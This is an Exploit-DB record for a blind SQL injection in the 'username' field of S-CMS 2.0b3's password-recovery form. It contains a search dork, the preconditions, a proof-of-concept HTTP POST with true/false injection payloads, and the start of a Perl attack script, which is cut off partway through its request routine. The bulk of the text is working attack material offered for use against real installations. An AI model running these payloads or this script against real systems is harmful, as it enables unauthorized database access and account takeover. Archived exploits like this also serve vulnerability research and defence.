Exploit-DB #8915
Description: S-CMS 2.0b3 - 'Username' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-06-09
Author: YEnH4ckEr

Exploit:
#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#**	       										      **
#**  											      **
#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
#**     || || ||  []        [][]   []   []  []     []   []      [] []   []	  []    []    **
#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    
#**							                                      **
#**    											      **
#**                          ÃÂ¡VIVA SPAIN!...ÃÂ¡GANAREMOS EL MUNDIAL!...o.O                      **
#**					  ÃÂ¡PROUD TO BE SPANISH!	                              **
#**											      **
#***********************************************************************************************
#***********************************************************************************************
#
#---------------------------------------------------------------------------------------------
#|       	   	   (Post Form var 'username') BLIND SQLi exploit         	     |
#|-------------------------------------------------------------------------------------------|
#|                                    |    S-CMS <= v-2.0 Beta3   |		    	     |
#|  CMS INFORMATION:          	       ---------------------------	               	     |
#|										             |
#|-->WEB: http://www.matteoiammarrone.com/public/s-cms/			       		     |
#|-->DOWNLOAD: http://www.matteoiammarrone.com/public/s-cms/		                     |
#|-->DEMO: N/A										     |
#|-->CATEGORY: CMS / Portal								     |
#|-->DESCRIPTION: Cms written in php and mysql, phpnuke style whit a plugins,                |
#|		blocks and permission system.                            		     |
#|-->RELEASED: 2009-05-25								     |
#|											     |
#|  CMS VULNERABILITY:									     |
#|											     |
#|-->TESTED ON: firefox 3						                     |
#|-->DORK: "S-CMS by matteoiamma"						             |
#|-->CATEGORY: BLIND SQLi exploit						             |
#|-->AFFECT VERSION: <= 2.0-Beta3					 		     |
#|-->Discovered Bug date: 2009-05-25							     |
#|-->Reported Bug date: 2009-05-25							     |
#|-->Fixed bug date: 2009-05-28								     |
#|-->Info patch(2.1): http://www.matteoiammarrone.com/public/s-cms/plugin.php?page=phpbb3    |
#|-->Author: YEnH4ckEr									     |
#|-->mail: y3nh4ck3r[at]gmail[dot]com							     |
#|-->WEB/BLOG: N/A									     |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.      |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)		     |
#---------------------------------------------------------------------------------------------
#
#------------
#CONDITIONS:
#------------
#
#magic quotes=OFF
#
#{db_prefix} by default=cms
#
#-------
#NEED:
#-------
#
#Valid username
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#POST http://[HOST]/[PATH]/plugin.php?page=your_account.php&mode=passlost HTTP/1.1
#Host: [HOST]
#User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/[PII_REDACTED] Firefox/3.0.10
#Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
#Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
#Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
#Keep-Alive: 300
#Proxy-Connection: keep-alive
#Referer: http://[HOST]/[PATH]/html/plugin.php?page=your_account.php&mode=passlost
#
#username=pepe%27+or+1%3D%271&recupera_pass=Recover+password --> OK, sending code
#
#username=pepe%27+or+1%3D%270&recupera_pass=Recover+password --> Uhm?, username doesn't exist
#
#--------------
#WATCH VIDEOS
#--------------
#
# BSQLi --> http://www.youtube.com/watch?v=oVYrVcfA6Vo
#
# SQLi --> http://www.youtube.com/watch?v=S__l5IKzYNU
#      --> http://www.youtube.com/watch?v=LprQDdZ6ZcU
#
# LFI --> http://www.youtube.com/watch?v=2NhaNFbyP_w
#
#
##############################################################################
##############################################################################
##**************************************************************************##
##  SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!         ##
##**************************************************************************##
##--------------------------------------------------------------------------##
##**************************************************************************##
## GREETZ TO: JosS, Ulises2k, J.McCray, Evil1 and Spanish Hack3Rs community!##
##**************************************************************************##
##############################################################################
##############################################################################
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
	my $SO = $^O;
	my $linux = "";
	if (index(lc($SO),"win")!=-1){
		$linux="0";
	}else{
		$linux="1";
	}		
	if($linux){
		system("clear");
	}
	else{
		system("cls");
		system ("title S-CMS V-2.0 Beta3 Blind SQL Injection Exploit");
		system ("color 02");
	}
}
sub request {
	my $userag = LWP::UserAgent->new;
	$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
	$request = HTTP::Request -> new(POST => $_[0]);
	$request->referer($_[0]);
	$request->content_type('app